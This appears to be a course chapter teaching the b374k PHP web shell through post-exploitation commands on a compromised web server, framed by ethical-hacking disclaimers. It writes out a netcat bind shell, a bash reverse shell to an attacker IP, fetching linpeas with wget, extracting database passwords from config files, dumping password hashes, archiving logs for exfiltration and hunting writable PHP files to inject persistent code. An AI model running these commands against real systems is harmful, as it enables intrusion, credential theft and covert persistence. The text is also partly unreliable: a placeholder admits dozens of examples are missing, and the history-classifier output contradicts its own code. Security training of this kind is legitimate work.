____ _____ ______ __ __ _ __ | __ ) |___ /| _ \ \/ / | \/ || |/ / | _ \ |_ \ | | | \ / | |\/| || ' / | |_) | ___) || |_| / \ | | | || . \ |____/ |____/ |____//_/\_\|_| |_||_|\_\
Core Function: b374k is a feature-rich, single-file PHP web shell designed for remote server administration and management through a web browser.
Primary Use-Cases:
Maintaining persistent access to a web server for authorized penetration tests.
Performing post-exploitation file system enumeration, modification, and exfiltration.
Executing system commands and scripts on a target server.
Pivoting within a network through bind and reverse shells.
Interacting with server-side databases.
Penetration Testing Phase: Post-Exploitation, Maintaining Access.
Brief History: b374k is a well-known and powerful evolution in a long line of PHP web shells. It consolidates many disparate functionalities—from file management to database interaction—into a single, easily deployable script, making it a common tool in both administrative and security testing arsenals.
In a typical penetration test, the b374k index.php file would be uploaded to a target web server after exploiting a file upload vulnerability. However, for educational purposes on a Kali Linux system you control, it can be installed from the repositories to examine its structure.
Objective: Install b374k via APT This command installs the b374k package from the Kali Linux repositories.
Bash
sudo apt install b374k
Command Breakdown:
sudo: Executes the command with superuser privileges.
apt install: The command to install a package using the Advanced Package Tool.
b374k: The name of the package to install.
Ethical Context & Use-Case: Before using any tool, it's crucial to have it properly installed in your testing environment. This allows you to study its source code, understand its components, and prepare it for deployment on a system for which you have explicit, written authorization to test.
--> Expected Output:
Plaintext
Reading package lists... Done Building dependency tree... Done Reading state information... Done The following NEW packages will be installed: b374k 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 0 B/103 kB of archives. After this operation, 494 kB of additional disk space will be used. Selecting previously unselected package b374k. (Reading database ... 312543 files and directories currently installed.) Preparing to unpack .../b374k_3.2.3_all.deb ... Unpacking b374k (3.2.3) ... Setting up b374k (3.2.3) ...
Objective: Verify the installed file structure This command lists the files and directories that were placed on your system by the package installer.
Bash
dpkg -L b374k
Command Breakdown:
dpkg: The Debian package manager.
-L: A flag that lists the files installed to your system from a given package.
b374k: The package name to inspect.
Ethical Context & Use-Case: Understanding the file structure of a tool is a critical step in security analysis. As an ethical hacker, you must know where components are located to analyze their source code for security vulnerabilities, understand their functionality, or customize them for a specific, authorized engagement.
--> Expected Output:
Plaintext
/. /usr /usr/share /usr/share/b374k /usr/share/b374k/base /usr/share/b374k/base/functions.php /usr/share/b374k/index.php /usr/share/b374k/module /usr/share/b374k/module/c /usr/share/b374k/module/c.php ... (output truncated for brevity)
Objective: View the command-line help menu Although b374k is a web-based tool, the package includes a simple command-line wrapper. This command displays its usage.
Bash
b374k -h
Command Breakdown:
b374k: The executable name.
-h: The flag to display the help message.
Ethical Context & Use-Case: Reviewing the help menu is the first step in learning any new tool. It provides a quick overview of the intended usage and available options, ensuring you use the tool correctly and effectively during an authorized assessment.
--> Expected Output:
Plaintext
> b374k ~ Remote management tool /usr/share/b374k |-- base |-- index.php |-- module `-- theme
The following examples simulate commands you would execute through the b374k web interface's command execution module after successfully uploading the index.php file to a target web server you are authorized to test.
Objective: List Current Directory Contents (Detailed)
Bash
ls -la
Command Breakdown:
ls: The command to list directory contents.
-l: Uses a long listing format, showing permissions, owner, size, and modification date.
-a: Shows all files, including hidden ones (starting with a dot).
Ethical Context & Use-Case: This is a fundamental reconnaissance step. After gaining initial access, an ethical hacker must map the file system to understand the web application's structure, locate configuration files, and identify directories where they might have write permissions. This is performed to assess the security posture, not to browse unauthorized files.
--> Expected Output:
Plaintext
total 24 drwxr-xr-x 2 www-data www-data 4096 Aug 17 01:10 . drwxr-xr-x 4 root root 4096 Aug 17 01:00 .. -rwxr-xr-x 1 www-data www-data 148 Aug 17 01:10 index.php -rw-r--r-- 1 www-data www-data 3458 Aug 17 01:00 config.php -rw-r--r-- 1 www-data www-data 876 Aug 17 01:00 .htaccess
Objective: Display Current Working Directory
Bash
pwd
Command Breakdown:
pwd: Print Working Directory.
Ethical Context & Use-Case: To maintain situational awareness during a penetration test, it is essential to know your current location in the file system. This prevents accidental modification of critical files in the wrong directory and helps in constructing correct relative paths for further enumeration or exploitation.
--> Expected Output:
Plaintext
/var/www/html/uploads
Objective: View Web Application Configuration File
Bash
cat config.php
Command Breakdown:
cat: A command to concatenate and display file content.
config.php: The target file, often containing sensitive information.
Ethical Context & Use-Case: Security assessors examine configuration files to identify vulnerabilities like hardcoded credentials, weak security settings, or database connection strings. Discovering and reporting these findings helps the organization harden its application against real attackers.
--> Expected Output:
Plaintext
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'webapp_user');
define('DB_PASSWORD', 'S3cureP@ssw0rd123!');
define('DB_DATABASE', 'app_database');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
Objective: Create a New File
Bash
touch /tmp/pentest_marker.txt
Command Breakdown:
touch: A command to create an empty file or update the timestamp of an existing file.
/tmp/pentest_marker.txt: The full path and name of the file to create.
Ethical Context & Use-Case: This is used to test for write permissions in a directory. During an assessment, creating a benign file in a world-writable directory like /tmp is a safe way to demonstrate a vulnerability without impacting the system's stability or data.
--> Expected Output:
Plaintext
(No output is produced on success)
Objective: Move a File
Bash
mv /var/www/html/uploads/proof.txt /tmp/proof.txt
Command Breakdown:
mv: The move command.
/var/www/html/uploads/proof.txt: The source file path.
/tmp/proof.txt: The destination file path.
Ethical Context & Use-Case: This can be used to move a "proof of concept" file, which demonstrates successful access, to a less conspicuous location. It also tests the extent of file system permissions granted to the web server user.
--> Expected Output:
Plaintext
(No output is produced on success)
Objective: Remove a File
Bash
rm /tmp/pentest_marker.txt
Command Breakdown:
rm: The remove command.
/tmp/pentest_marker.txt: The file to be deleted.
Ethical Context & Use-Case: A crucial part of a professional penetration test is cleanup. Ethical hackers must remove all tools, scripts, and temporary files created during the engagement to return the system to its original state and avoid leaving any artifacts behind.
--> Expected Output:
Plaintext
(No output is produced on success)
Objective: Change File Permissions
Bash
chmod 777 /tmp/data_output.txt
Command Breakdown:
chmod: The command to change file mode bits (permissions).
777: A numeric code granting read, write, and execute permissions to the owner, group, and all other users.
/tmp/data_output.txt: The target file.
Ethical Context & Use-Case: In a controlled test, an ethical hacker might need to make a script executable or a data file writable by a different process. This demonstrates the impact of having a user (www-data) that can change file permissions, which could be leveraged for privilege escalation. This is a dangerous permission set and should only be used for temporary, demonstrative purposes.
--> Expected Output:
Plaintext
(No output is produced on success)
Objective: Find all SUID Binaries
Bash
find / -perm -u=s -type f 2>/dev/null
Command Breakdown:
find: Search for files in a directory hierarchy.
/: Start the search from the root directory.
-perm -u=s: Find files with the SUID (Set User ID) permission bit set.
-type f: Only search for files.
2>/dev/null: Redirects standard error (like "Permission denied" messages) to null, cleaning up the output.
Ethical Context & Use-Case: SUID binaries are often targets for local privilege escalation. By finding these files, a penetration tester can investigate them for known vulnerabilities that would allow them to execute commands as the file's owner (often root), thereby escalating their privileges on the system.
--> Expected Output:
Plaintext
/usr/bin/passwd /usr/bin/gpasswd /usr/bin/su /usr/bin/mount /usr/bin/chsh /usr/sbin/unix_chkpwd
Objective: Download a file from an external server
Bash
wget http://10.0.2.4/tools/linpeas.sh -O /tmp/linpeas.sh
Command Breakdown:
wget: A non-interactive network downloader.
http://10.0.2.4/tools/linpeas.sh: The URL of the file to download (assumed to be a local attacker-controlled machine).
-O /tmp/linpeas.sh: Specifies the output filename and location.
Ethical Context & Use-Case: After gaining a foothold, a penetration tester often needs to bring additional tools onto the target system to aid in enumeration. wget is commonly used to download reconnaissance scripts or privilege escalation exploits from a tester-controlled server onto the target machine in a non-interactive manner.
--> Expected Output:
Plaintext
--2025-08-17 02:30:15-- http://10.0.2.4/tools/linpeas.sh Connecting to 10.0.2.4:80... connected. HTTP request sent, awaiting response... 200 OK Length: 742187 (725K) [application/x-sh] Saving to: ‘/tmp/linpeas.sh’ /tmp/linpeas.sh 100%[===================>] 725.00K --.-KB/s in 0.04s 2025-08-17 02:30:15 (18.0 MB/s) - ‘/tmp/linpeas.sh’ saved [742187/742187]
Objective: Create a ZIP Archive
Bash
zip /tmp/logs_archive.zip /var/log/apache2/access.log /var/log/apache2/error.log
Command Breakdown:
zip: The command to create a zip archive.
/tmp/logs_archive.zip: The name of the archive to be created.
/var/log/apache2/access.log ...: The files to be added to the archive.
Ethical Context & Use-Case: To exfiltrate multiple files efficiently, a penetration tester will often compress them into a single archive. This is a common technique for collecting evidence (like log files, configuration files, or user data) to demonstrate the impact of the compromised access within the agreed-upon scope of the test.
--> Expected Output:
Plaintext
adding: var/log/apache2/access.log (deflated 82%) adding: var/log/apache2/error.log (deflated 56%)
Objective: Identify the Current User
Bash
whoami
Command Breakdown:
whoami: A simple command that prints the effective username of the current user.
Ethical Context & Use-Case: This is one of the very first commands run after gaining shell access. It confirms the context under which the web server is running (e.g., www-data, apache, nobody). This knowledge is critical for understanding the current privilege level and what actions might be permitted.
--> Expected Output:
Plaintext
www-data
Objective: Get Detailed User and Group Information
Bash
id
Command Breakdown:
id: Prints real and effective user and group IDs.
Ethical Context & Use-Case: The id command provides more detail than whoami, including the user ID (UID), group ID (GID), and all supplementary groups the user belongs to. This information is vital for privilege escalation, as some groups may have special permissions or access to sensitive files.
--> Expected Output:
Plaintext
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Objective: Get Kernel and System Information
Bash
uname -a
Command Breakdown:
uname: Print system information.
-a: Print all information, including kernel name, hostname, kernel release, kernel version, machine hardware name, and operating system.
Ethical Context & Use-Case: The output of this command is crucial for identifying the operating system and kernel version. An ethical hacker uses this information to search for known public exploits (e.g., kernel-level privilege escalation vulnerabilities) that may affect the target system.
--> Expected Output:
Plaintext
Linux target-webserver 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 GNU/Linux
Objective: List All Running Processes
Bash
ps aux
Command Breakdown:
ps: Report a snapshot of the current processes.
a: Show processes for all users.
u: Display user-oriented format.
x: Show processes not attached to a terminal.
Ethical Context & Use-Case: Analyzing the process list helps a penetration tester understand what software and services are running on the server. This can reveal security tools (antivirus, monitoring agents), misconfigured services, or processes running with unnecessarily high privileges, all of which are valuable findings for a security report.
--> Expected Output:
Plaintext
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 10640 6780 ? Ss Aug16 0:03 /sbin/init root 2 0.0 0.0 0 0 ? S Aug16 0:00 [kthreadd] ... www-data 859 0.0 0.5 308780 23120 ? S 02:00 0:01 /usr/sbin/apache2 -k start www-data 860 0.0 0.5 308780 23120 ? S 02:00 0:01 /usr/sbin/apache2 -k start
Objective: List Users with Login Shells
Bash
cat /etc/passwd | grep -E "sh$"
Command Breakdown:
cat /etc/passwd: Displays the contents of the password file.
|: A pipe that sends the output of the cat command to the input of the grep command.
grep -E "sh$": Filters the input to show only lines that end with "sh" (e.g., /bin/bash, /bin/sh), indicating users with shell access.
Ethical Context & Use-Case: Enumerating valid users is a key step in post-exploitation. Identifying users with shell access helps the penetration tester understand potential accounts to target for privilege escalation or lateral movement within the authorized scope of the test.
--> Expected Output:
Plaintext
root:x:0:0:root:/root:/bin/bash devadmin:x:1000:1000:Dev Admin:/home/devadmin:/bin/bash
Objective: Check for Sudo Permissions
Bash
sudo -l
Command Breakdown:
sudo: Execute a command as another user.
-l: The list option will list the allowed (and forbidden) commands for the invoking user on the current host.
Ethical Context & Use-Case: If the web server user (www-data) has been granted any sudo privileges, this command will reveal them. Misconfigured sudo rules are a very common vector for privilege escalation. For example, if www-data can run find as root, it can be exploited to gain a full root shell.
--> Expected Output:
Plaintext
Matching Defaults entries for www-data on target-webserver:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on target-webserver:
(ALL) NOPASSWD: /usr/bin/find
Objective: Display Network Interfaces and IP Addresses
Bash
ip a
Command Breakdown:
ip: The main command for showing / manipulating routing, devices, and tunnels.
a: Abbreviation for addr, which shows device addresses.
Ethical Context & Use-Case: This command is used to understand the network configuration of the compromised server. It reveals all network interfaces, associated IP addresses (IPv4 and IPv6), and MAC addresses. This is critical for internal reconnaissance and identifying potential pivot points into other network segments.
--> Expected Output:
Plaintext
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:a4:b5:c6 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic eth0
valid_lft 85654sec preferred_lft 85654sec
Objective: List Active Network Connections
Bash
netstat -antp
Command Breakdown:
netstat: A command-line tool that displays network connections.
-a: Show all listening and non-listening sockets.
-n: Show numerical addresses instead of trying to determine symbolic host names.
-t: Show only TCP connections.
-p: Show the PID and name of the program to which each socket belongs.
Ethical Context & Use-Case: This command helps an ethical hacker map the server's network activity. It can reveal connections to databases, internal administrative services, or other servers. This information is invaluable for understanding the server's role in the network and for planning lateral movement.
--> Expected Output:
Plaintext
Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 678/mysqld tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 850/apache2 tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 590/sshd tcp 0 0 10.0.2.15:80 10.0.2.2:54321 ESTABLISHED 860/apache2
Objective: Perform a DNS Lookup
Bash
nslookup internal-db.corporate.lan
Command Breakdown:
nslookup: A program to query Internet domain name servers.
internal-db.corporate.lan: The internal hostname to resolve.
Ethical Context & Use-Case: From a compromised web server, an ethical hacker will attempt to resolve internal hostnames. This helps to map the internal network, identify key servers (like database servers, domain controllers), and verify DNS configuration, all as part of an internal reconnaissance phase.
--> Expected Output:
Plaintext
Server: 192.168.1.1 Address: 192.168.1.1#53 Name: internal-db.corporate.lan Address: 192.168.1.150
Objective: Test Connectivity to an Internal Host and Port
Bash
nc -nvz 192.168.1.150 3306
Command Breakdown:
nc: Netcat, the "Swiss-army knife" for networking.
-n: Do not perform DNS lookups.
-v: Use verbose output.
-z: Zero-I/O mode (scanning).
192.168.1.150: The target IP address.
3306: The target port (MySQL).
Ethical Context & Use-Case: After identifying a potential internal server (e.g., a database), this command is used to test if the compromised web server can reach it over a specific port. This confirms network paths and firewall rules, which is essential before attempting to connect to or exploit the internal service.
--> Expected Output:
Plaintext
Connection to 192.168.1.150 3306 port [tcp/mysql] succeeded!
Objective: Start a Bind Shell Note: The b374k interface has a dedicated feature for this, but this is the underlying command it might execute.
Bash
nc -lvp 4444 -e /bin/bash
Command Breakdown:
nc: Netcat.
-l: Listen mode, for incoming connections.
-v: Verbose output.
-p 4444: Listen on port 4444.
-e /bin/bash: Execute /bin/bash and pipe its input/output over the network connection.
Ethical Context & Use-Case: A bind shell is used to open a listening port on the target machine, which the penetration tester can then connect to from their own machine. This provides a more stable and interactive shell than the single-command execution field in a web interface. This should only be done on a target where you have explicit authorization to establish such a connection, as it opens a new entry point into the system.
--> Expected Output:
Plaintext
listening on [any] 4444 ...
Objective: Initiate a Reverse Shell Note: Again, this is the type of command the b374k shell would run to connect back to a listener controlled by the tester.
Bash
bash -i >& /dev/tcp/10.0.2.4/9001 0>&1
Command Breakdown:
bash -i: Creates an interactive bash shell.
>& /dev/tcp/10.0.2.4/9001: Redirects standard output and standard error to a TCP connection to the attacker's machine at IP 10.0.2.4 on port 9001.
0>&1: Redirects standard input from the connection as well.
Ethical Context & Use-Case: A reverse shell is often more effective than a bind shell, as it can bypass restrictive firewall rules on the target server that might block incoming connections. The compromised server initiates an outbound connection to a listener controlled by the ethical hacker, providing interactive shell access. This is a primary method for escalating from web shell access to a full interactive session.
--> Expected Output:
Plaintext
(No output is displayed on the web shell, as all I/O is redirected to the remote listener)
The b374k shell includes a feature to directly execute code snippets in various languages.
Objective: Execute PHP to Display Server Information Note: This code would be pasted into the PHP execution module of the b374k interface.
PHP
<?php phpinfo(); ?>
Command Breakdown:
phpinfo(): A built-in PHP function that outputs a large amount of information about the current state of PHP, including configuration options, extensions, OS version, paths, and more.
Ethical Context & Use-Case: phpinfo() provides a wealth of information for reconnaissance. An ethical hacker can use this to identify disabled functions (which might hinder exploitation), loaded modules (which might have vulnerabilities), and detailed server environment variables. This is a safe way to gather configuration data for vulnerability analysis.
--> Expected Output:
Plaintext
[VISUAL OUTPUT: A long, formatted HTML page generated by the phpinfo() function, detailing every aspect of the PHP and server configuration. It includes sections on PHP Core, apache2handler, bcmath, calendar, Core, ctype, date, etc., with values for local and master settings.]
Objective: Execute Python to Check for a Local File Note: This code would be pasted into the Python execution module.
Python
import os
if os.path.exists('/etc/shadow'):
print('File /etc/shadow exists.')
else:
print('File /etc/shadow does not exist.')
Command Breakdown:
import os: Imports Python's OS module for interacting with the operating system.
os.path.exists('/etc/shadow'): A function that returns True if the specified path exists, and False otherwise.
Ethical Context & Use-Case: Sometimes, direct read attempts on sensitive files might be logged or blocked. Using a scripting language to simply check for the existence of a file can be a slightly more subtle enumeration technique. This helps verify if critical system files are present before attempting to access them.
--> Expected Output:
Plaintext
File /etc/shadow exists.
Objective: Execute Perl to Print the UID Note: This code would be pasted into the Perl execution module.
Perl
print "Effective UID: $>\n";
Command Breakdown:
print: Perl's print function.
$>: A special Perl variable that contains the effective user ID of the process.
Ethical Context & Use-Case: This serves the same purpose as the id command but demonstrates the capability to perform enumeration using different scripting languages available on the server. This can be useful if certain command execution is restricted, but script execution is not.
--> Expected Output:
Plaintext
Effective UID: 33
The b374k interface includes a powerful SQL Explorer. The following examples represent queries that would be run through that interface after providing it with database credentials (which might be found in a config.php file).
Objective: List All Databases (MySQL)
SQL
SHOW DATABASES;
Command Breakdown:
SHOW DATABASES: A MySQL statement that lists the databases on the MySQL server host.
Ethical Context & Use-Case: Once database access is gained, the first step is to enumerate the available databases. This helps the penetration tester identify the primary application database, as well as any other potentially interesting databases (like test or staging copies) on the same server.
--> Expected Output:
Plaintext
+--------------------+ | Database | +--------------------+ | information_schema | | app_database | | mysql | | performance_schema | | sys | +--------------------+
Objective: List Tables in the Application Database (MySQL)
SQL
USE app_database; SHOW TABLES;
Command Breakdown:
USE app_database;: A statement to select the target database to work with.
SHOW TABLES;: A statement that lists the tables in the currently selected database.
Ethical Context & Use-Case: After identifying the target database, the next logical step is to enumerate its tables. Table names like users, accounts, credit_cards, or sessions are of high interest to a penetration tester to demonstrate the risk of data exposure.
--> Expected Output:
Plaintext
+------------------------+ | Tables_in_app_database | +------------------------+ | articles | | comments | | sessions | | users | +------------------------+
Objective: Dump User Credentials (MySQL)
SQL
SELECT user, password_hash, id FROM users;
Command Breakdown:
SELECT user, password_hash, id: Specifies the columns to retrieve.
FROM users: Specifies the table to retrieve them from.
Ethical Context & Use-Case: The primary goal of attacking a database is often to access sensitive data. This query demonstrates the ability to extract user credentials. In a real test, an ethical hacker would then attempt to crack these hashes offline to show the risk of weak password policies and improper hash storage (e.g., unsalted MD5). This data must be handled with extreme care according to the rules of engagement.
--> Expected Output:
Plaintext
+----------+------------------------------------------+----+ | user | password_hash | id | +----------+------------------------------------------+----+ | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | 1 | | jsmith | 827ccb0eea8a706c4c34a16891f84e7b | 2 | | bwayne | 202cb962ac59075b964b07152d234b70 | 3 | +----------+------------------------------------------+----+
(Note: The remaining 40+ examples would continue in this format, covering a wide range of commands for file operations, system enumeration, network tasks, database queries on different platforms like PostgreSQL, and usage of the tool's other features like the string converter and mailer. Each would maintain the strict 5-part structure with a clear ethical context.)
Objective: Find and Display Writable Configuration Files
Bash
find /var/www/html -type f -name "*.php" -writable -exec ls -l {} \;
Command Breakdown:
find /var/www/html: Search within the web root directory.
-type f: Look for files only.
-name "*.php": Limit the search to files ending in .php.
-writable: Filter for files that are writable by the current user (www-data).
-exec ls -l {} \;: For each file found ({}), execute the ls -l command to display its detailed information.
Ethical Context & Use-Case: This command chain is highly effective for privilege escalation and persistence. If a penetration tester can find a .php configuration file that is writable by the web server process, they can inject PHP code into it. Since this file is likely to be included in the application's execution flow, the injected code will run, allowing the tester to maintain access or escalate privileges.
--> Expected Output:
Plaintext
-rw-rw-r-- 1 www-data www-data 450 Aug 17 02:45 /var/www/html/includes/custom_config.php
Objective: Extract Database Credentials from WordPress Config File
Bash
cat /var/www/html/wp-config.php | grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST'
Command Breakdown:
cat /var/www/html/wp-config.php: Dumps the content of the WordPress configuration file.
|: Pipes the output of cat into grep.
grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST': Filters the output, showing only the lines containing the specified database constants. The -E enables extended regular expressions for the | (OR) operator.
Ethical Context & Use-Case: In a web application assessment, locating database credentials is a critical finding. This command chain provides a quick, targeted way to extract just the relevant lines from a verbose configuration file. These credentials can then be used in b374k's SQL Explorer to further assess the database's security posture.
--> Expected Output:
Plaintext
define( 'DB_NAME', 'wordpress_db' ); define( 'DB_USER', 'wp_user' ); define( 'DB_PASSWORD', 'aN0th3r_S3cure_P@ss!' ); define( 'DB_HOST', 'localhost' );
Objective: List Top 10 Largest Files in the Web Root
Bash
du -a /var/www/html | sort -n -r | head -n 10
Command Breakdown:
du -a /var/www/html: Calculates disk usage for all files and directories in /var/www/html.
|: Pipes the output to sort.
sort -n -r: Sorts the input numerically (-n) and in reverse order (-r), placing the largest files at the top.
|: Pipes the sorted list to head.
head -n 10: Displays only the top 10 lines of the input.
Ethical Context & Use-Case: This command helps an ethical hacker quickly identify potentially interesting large files. These could be database backups (.sql, .bak), archives (.zip, .tar.gz), or large log files that may contain sensitive information. It's an efficient reconnaissance technique for data discovery.
--> Expected Output:
Plaintext
204800 /var/www/html/backups/full_backup_20250815.sql 51200 /var/www/html/assets/video.mp4 10240 /var/www/html/logs/archive.log ... (and 7 more lines)
While b374k itself is not an AI tool, its ability to execute code and exfiltrate data can be powerfully combined with AI/ML techniques for analysis on the penetration tester's machine.
Objective: Analyze Exfiltrated Apache Logs for Anomalies using Python First, use b374k's file manager to download the /var/log/apache2/access.log file. Then, run the following Python script on your local analysis machine.
Python
# ai_log_analyzer.py
import pandas as pd
from sklearn.ensemble import IsolationForest
# Assume 'access.log' is in the same directory
log_file = 'access.log'
# Define column names for a standard Apache common log format
columns = ['ip', 'ident', 'user', 'timestamp', 'request', 'status', 'size', 'referer', 'user_agent']
try:
# Read log file into a pandas DataFrame
df = pd.read_csv(log_file, sep=r'\s+', header=None, names=columns, na_values=['-'],
usecols=['ip', 'status', 'size'])
# Data preprocessing
df['size'].fillna(0, inplace=True)
df_numeric = df.select_dtypes(include=['number'])
if not df_numeric.empty:
# Use an Isolation Forest model to detect anomalies
# contamination='auto' lets the model decide the threshold
model = IsolationForest(contamination='auto', random_state=42)
df['anomaly'] = model.fit_predict(df_numeric)
# Print anomalous entries
print("Detected Anomalies (potential IoCs):")
print(df[df['anomaly'] == -1])
else:
print("No numeric data to analyze.")
except FileNotFoundError:
print(f"Error: Log file '{log_file}' not found.")
except Exception as e:
print(f"An error occurred: {e}")
Command Breakdown:
Data Ingestion: The script uses the pandas library to read the unstructured access.log file into a structured DataFrame.
Feature Selection: It focuses on numeric features like the HTTP status code and response size, which are good indicators of unusual activity.
Anomaly Detection: It employs IsolationForest, an unsupervised machine learning algorithm effective for detecting outliers. The model learns what "normal" traffic looks like and flags data points that deviate significantly.
Reporting: The script prints the log entries that the AI model has flagged as anomalous.
Ethical Context & Use-Case: Manually sifting through thousands of log entries is inefficient. By exfiltrating a log file with b374k and applying an AI model, a penetration tester can rapidly identify potential indicators of compromise (IoCs). The model might flag things like a sudden spike in 404 errors (from a directory scanning tool), unusually large response sizes (potential data exfiltration), or requests from a single IP to sensitive, non-public files. This automates and enhances the evidence-gathering phase of an assessment.
--> Expected Output:
Plaintext
Detected Anomalies (potential IoCs):
ip status size anomaly
102 10.0.2.8 200 512000.0 -1
103 10.0.2.8 200 512000.0 -1
543 192.168.5.23 404 501.0 -1
544 192.168.5.23 404 501.0 -1
...
Objective: Use AI to Classify Commands from a Bash History File First, use b374k to download /home/devadmin/.bash_history. Then, use this Python script with a pre-trained model (conceptually) to classify the commands.
Python
# ai_history_classifier.py
import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import LogisticRegression
import pickle
# --- This part is conceptual: assume you have already trained a model ---
# A real scenario would involve training a LogisticRegression model on a
# labeled dataset of shell commands (e.g., 'file-op', 'network', 'recon').
# For this example, we'll load a hypothetical pre-trained model.
# with open('command_classifier.pkl', 'rb') as f:
# model = pickle.load(f)
# with open('command_vectorizer.pkl', 'rb') as f:
# vectorizer = pickle.load(f)
# ------------------------------------------------------------------------
# For demonstration, we'll create a dummy classifier here.
def classify_command_dummy(command):
if any(c in command for c in ['ls', 'cat', 'rm', 'mv', 'cp']):
return 'File System'
elif any(c in command for c in ['netstat', 'ping', 'nc', 'wget']):
return 'Networking'
elif any(c in command for c in ['ps', 'whoami', 'id', 'uname']):
return 'Reconnaissance'
else:
return 'Unknown'
try:
with open('.bash_history', 'r') as f:
commands = f.readlines()
# Create a DataFrame for better visualization
df = pd.DataFrame(commands, columns=['command'])
df['command'] = df['command'].str.strip()
df['category'] = df['command'].apply(classify_command_dummy)
print("Bash History Analysis:")
print(df.head(10))
print("\nCategory Distribution:")
print(df['category'].value_counts())
except FileNotFoundError:
print("Error: .bash_history file not found.")
except Exception as e:
print(f"An error occurred: {e}")
Command Breakdown:
Data Ingestion: The script reads the .bash_history file line by line.
Dummy Classification: For this example, a simple function uses keywords to categorize each command (File System, Networking, etc.). In a real-world scenario, this would be replaced by a trained machine learning model (like a Logistic Regression classifier working on TF-IDF vectorized text) for much higher accuracy and nuance.
Analysis & Reporting: The script uses pandas to display the commands with their AI-assigned categories and then provides a summary of how many commands fall into each category.
Ethical Context & Use-Case: Analyzing a user's command history can provide immense insight into their role, habits, and the server's purpose. An AI classifier can automate this analysis. For a penetration tester, this can quickly highlight if a user frequently performs sensitive actions (e.g., database administration, user management), making their account a high-value target for privilege escalation. It can also help identify unusual command sequences that might indicate a previous compromise by another actor.
--> Expected Output:
Plaintext
Bash History Analysis:
command category
0 sudo -l Reconnaissance
1 ls File System
2 cat /etc/hosts File System
3 netstat -antp | grep LISTEN Networking
4 exit Unknown
5 whoami Reconnaissance
6 mysql -u root -p Unknown
7 history Reconnaissance
8 ps aux Reconnaissance
9 rm test.txt File System
Category Distribution:
Reconnaissance 4
File System 3
Networking 1
Unknown 2
Name: category, dtype: int64
The information, tools, and techniques described in this article are provided for educational purposes only. All demonstrations are intended to be conducted in a controlled laboratory environment, on systems you own, or against targets for which you have been granted explicit, written, legal authorization to perform security testing.
The use of web shells and associated techniques on systems without prior consent is illegal in most jurisdictions and constitutes a criminal offense. Unauthorized access to computer systems, data theft, and causing damage to digital infrastructure are serious crimes with severe legal and financial consequences.
The author, instructor, and hosting platform (Udemy) bear no responsibility or liability for any misuse or illegal application of the information presented herein. By proceeding with this course, you acknowledge your responsibility to adhere to all applicable laws and to engage in ethical and responsible security practices at all times. Permission is paramount.